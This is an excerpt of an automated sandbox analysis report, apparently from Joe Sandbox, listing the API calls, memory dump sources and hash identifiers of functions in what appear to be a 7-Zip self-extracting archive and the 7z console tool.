                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ScreenToClient.USER32(?,?), ref: 00408D3B
                                                                                                                                                                                                                                                                                    • GetClientRect.USER32(?,?), ref: 00408D4D
                                                                                                                                                                                                                                                                                    • PtInRect.USER32(?,?,?), ref: 00408D5C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771
                                                                                                                                                                                                                                                                                    • CallNextHookEx.USER32(?,?,?), ref: 00408D7E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ClientRect$CallHookKillNextScreenTimer
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3015594791-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
                                                                                                                                                                                                                                                                                    • Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19
                                                                                                                                                                                                                                                                                    Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
                                                                                                                                                                                                                                                                                      • Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
                                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 00404473
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@TextWindow$Length
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2308334395-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
                                                                                                                                                                                                                                                                                    • Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94
                                                                                                                                                                                                                                                                                    Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetObjectW.GDI32(?,0000005C,?), ref: 00408094
                                                                                                                                                                                                                                                                                    • CreateFontIndirectW.GDI32(?), ref: 004080AA
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B5), ref: 004080BE
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateFontIndirectItemMessageObjectSend
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2001801573-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
                                                                                                                                                                                                                                                                                    • Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29
                                                                                                                                                                                                                                                                                    Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
                                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
                                                                                                                                                                                                                                                                                    • String ID: $A$$A
                                                                                                                                                                                                                                                                                    • API String ID: 2633840989-464203494
                                                                                                                                                                                                                                                                                    • Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
                                                                                                                                                                                                                                                                                    • Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE
                                                                                                                                                                                                                                                                                    Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetParent.USER32(?), ref: 00402088
                                                                                                                                                                                                                                                                                    • GetWindowRect.USER32(?,?), ref: 004020A1
                                                                                                                                                                                                                                                                                    • ScreenToClient.USER32(00000000,?), ref: 004020AF
                                                                                                                                                                                                                                                                                    • ScreenToClient.USER32(00000000,?), ref: 004020B6
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ClientScreen$ParentRectWindow
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2099118873-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
                                                                                                                                                                                                                                                                                    • Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72
                                                                                                                                                                                                                                                                                    Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
                                                                                                                                                                                                                                                                                      • Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 00405364
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • %X - %03X - %03X - %03X - %03X, xrefs: 0040535E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: MetricsSystem$??3@wsprintf
                                                                                                                                                                                                                                                                                    • String ID: %X - %03X - %03X - %03X - %03X
                                                                                                                                                                                                                                                                                    • API String ID: 1174869416-1993364030
                                                                                                                                                                                                                                                                                    • Opcode ID: 967eb29cf2bee7a86009ecd14e1b84b7afee97ddefb494a1546e1a570999086d
                                                                                                                                                                                                                                                                                    • Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 967eb29cf2bee7a86009ecd14e1b84b7afee97ddefb494a1546e1a570999086d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88
                                                                                                                                                                                                                                                                                    Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@wsprintf
                                                                                                                                                                                                                                                                                    • String ID: (%d%s)
                                                                                                                                                                                                                                                                                    • API String ID: 3815514257-2087557067
                                                                                                                                                                                                                                                                                    • Opcode ID: 6d96fd93464582cccd0b2bca5c0799422c7febacc937a75f3beb404c47778674
                                                                                                                                                                                                                                                                                    • Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6d96fd93464582cccd0b2bca5c0799422c7febacc937a75f3beb404c47778674
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98
                                                                                                                                                                                                                                                                                    Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetWindowTextLengthW.USER32(?), ref: 004033F1
                                                                                                                                                                                                                                                                                    • GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: TextWindow$Length
                                                                                                                                                                                                                                                                                    • String ID: j4@
                                                                                                                                                                                                                                                                                    • API String ID: 1006428111-2012685699
                                                                                                                                                                                                                                                                                    • Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
                                                                                                                                                                                                                                                                                    • Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95
                                                                                                                                                                                                                                                                                    Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Message
                                                                                                                                                                                                                                                                                    • String ID: 7-Zip SFX$Could not allocate memory
                                                                                                                                                                                                                                                                                    • API String ID: 2030045667-3806377612
                                                                                                                                                                                                                                                                                    • Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
                                                                                                                                                                                                                                                                                    • Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

                                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                                    Function 00CC8817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
                                                                                                                                                                                                                                                                                    • String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
                                                                                                                                                                                                                                                                                    • API String ID: 3442115484-272389550
                                                                                                                                                                                                                                                                                    • Opcode ID: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
                                                                                                                                                                                                                                                                                    • Instruction ID: 7130f7d84cc60fb6a74f5cb326c9760b635cc76ea16f97c45bc3708d1b834e46
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AC72D572204AC196DB34EF25E494BAE7361F785B84F44911ADE9E43768DF3CC94ACB40
                                                                                                                                                                                                                                                                                    Function 00CA24C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3352498445-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
                                                                                                                                                                                                                                                                                    • Instruction ID: 32f2e67d3eca94fdd2d306b3c909db6e52cd0228e25dc327ac569a4ffce41e0b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 53829E32208AD186CB30EF26E4943AEB360F786B98F505122EF9D47B59DF78C945DB04
                                                                                                                                                                                                                                                                                    Function 00CA47AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
